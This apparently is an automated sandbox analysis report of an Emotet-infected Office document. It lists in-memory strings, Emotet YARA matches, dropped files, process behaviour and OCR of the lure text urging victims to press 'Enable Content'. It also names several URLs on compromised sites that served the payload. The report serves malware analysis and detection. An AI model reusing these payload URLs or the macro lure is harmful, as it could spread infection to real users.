Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116032570.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2113937687.0000000001F10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116032570.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2113937687.0000000001F10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116524892.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114817796.00000000020F7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124614651.0000000001EF7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116524892.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114817796.00000000020F7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124614651.0000000001EF7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000003.2102092441.000000001B63D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000005.00000003.2102092441.000000001B63D000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.godaddy.com/0
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.godaddy.com/02
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.godaddy.com/05
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://r3.i.lencr.org/0%
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://r3.o.lencr.o
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp String found in binary or memory: http://riandutra.com
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: http://riandutra.com/email/AfhE8z0/
Source: powershell.exe, 00000005.00000002.2107547753.0000000002330000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000005.00000002.2112621761.000000001D2F0000.00000002.00000001.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116524892.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114817796.00000000020F7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124614651.0000000001EF7000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116524892.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114817796.00000000020F7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124614651.0000000001EF7000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2107547753.0000000002330000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2125133029.0000000002820000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000005.00000003.2101978050.000000001B631000.00000004.00000001.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116032570.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2113937687.0000000001F10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116524892.0000000001D57000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2114817796.00000000020F7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124614651.0000000001EF7000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000005.00000002.2111132973.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: http://www.litespeedtech.com
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116032570.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2113937687.0000000001F10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2102349882.0000000000224000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2102349882.0000000000224000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: https://certs.godaddy.com/repository/0
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp String found in binary or memory: https://hbprivileged.com
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: https://hbprivileged.com/cgi-bin/Qg/
Source: powershell.exe, 00000005.00000002.2111189798.0000000003C06000.00000004.00000001.sdmp String found in binary or memory: https://hbprivileged.comh
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp String found in binary or memory: https://mrveggy.com
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: https://mrveggy.com/wp-admin/n/
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2111132973.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: https://norailya.com
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: https://norailya.com/drupal/retAl/
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: https://sectigo.com/CPS0D
Source: powershell.exe, 00000005.00000003.2102092441.000000001B63D000.00000004.00000001.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp String found in binary or memory: https://ummahstars.com
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: https://ummahstars.com/app_old_may_2018/assets/wDL8x/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: https://www.teelekded.com/cgi-bin/LPo/
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp String found in binary or memory: https://www.teelekded.com/cgi-bin/LPo/P
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49174 -> 443

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 00000011.00000002.2222429242.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2338162997.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2336996681.0000000000290000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2189259516.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2148553869.0000000000710000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2127750584.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2180397123.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2197905867.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2168489304.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2188156936.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2336963149.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2198949244.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2210754308.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2133960367.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2208025145.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2124233296.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2134645958.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2157336224.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2113528268.0000000000270000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2113590423.0000000000290000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2134026009.0000000000260000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2177327005.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2148272205.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2197927518.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2157365734.00000000002C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2124067211.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2208036737.00000000001D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2217818929.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2159945715.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2170332868.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2177340948.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2217846238.0000000000240000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2149995465.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2115673692.0000000010000000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2188168029.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2168457347.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.290000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.710000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.290000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.270000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.710000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.270000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.290000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.200000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.10000000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.240000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.10000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.10000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.290000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.220000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.10000000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Drops certificate files (DER)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Jump to dropped file

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words:
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available fOr protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page, I of I Words: 4,072 N@m 13 ;a 1009
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available fOr protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 5777
Source: unknown Process created: Commandline size = 5676
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5676 Jump to behavior
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\rundll32.exe Process Stats: CPU usage > 98%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Lahhvjcxlgt\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10017D7D 7_2_10017D7D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100189F6 7_2_100189F6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007605 7_2_10007605
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000620A 7_2_1000620A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001F411 7_2_1001F411
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000F813 7_2_1000F813
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D013 7_2_1000D013
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10008816 7_2_10008816
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000421E 7_2_1000421E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C424 7_2_1001C424
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002628 7_2_10002628
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004A2B 7_2_10004A2B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000DC2F 7_2_1000DC2F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10018831 7_2_10018831
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007E34 7_2_10007E34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000A83A 7_2_1000A83A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000903F 7_2_1000903F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10014E4B 7_2_10014E4B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000704B 7_2_1000704B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D44C 7_2_1000D44C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C04C 7_2_1001C04C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10005856 7_2_10005856
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001658 7_2_10001658
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10011259 7_2_10011259
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10018668 7_2_10018668
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C07D 7_2_1000C07D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10014693 7_2_10014693
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001CAA0 7_2_1001CAA0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004EA1 7_2_10004EA1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10008CA3 7_2_10008CA3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C6AD 7_2_1001C6AD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100056B3 7_2_100056B3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10015AB8 7_2_10015AB8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10005EB9 7_2_10005EB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100106C2 7_2_100106C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10009CC8 7_2_10009CC8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001D2CB 7_2_1001D2CB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000D0DE 7_2_1000D0DE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10009AE1 7_2_10009AE1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100142E2 7_2_100142E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001DEE8 7_2_1001DEE8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100094EC 7_2_100094EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C6EF 7_2_1000C6EF
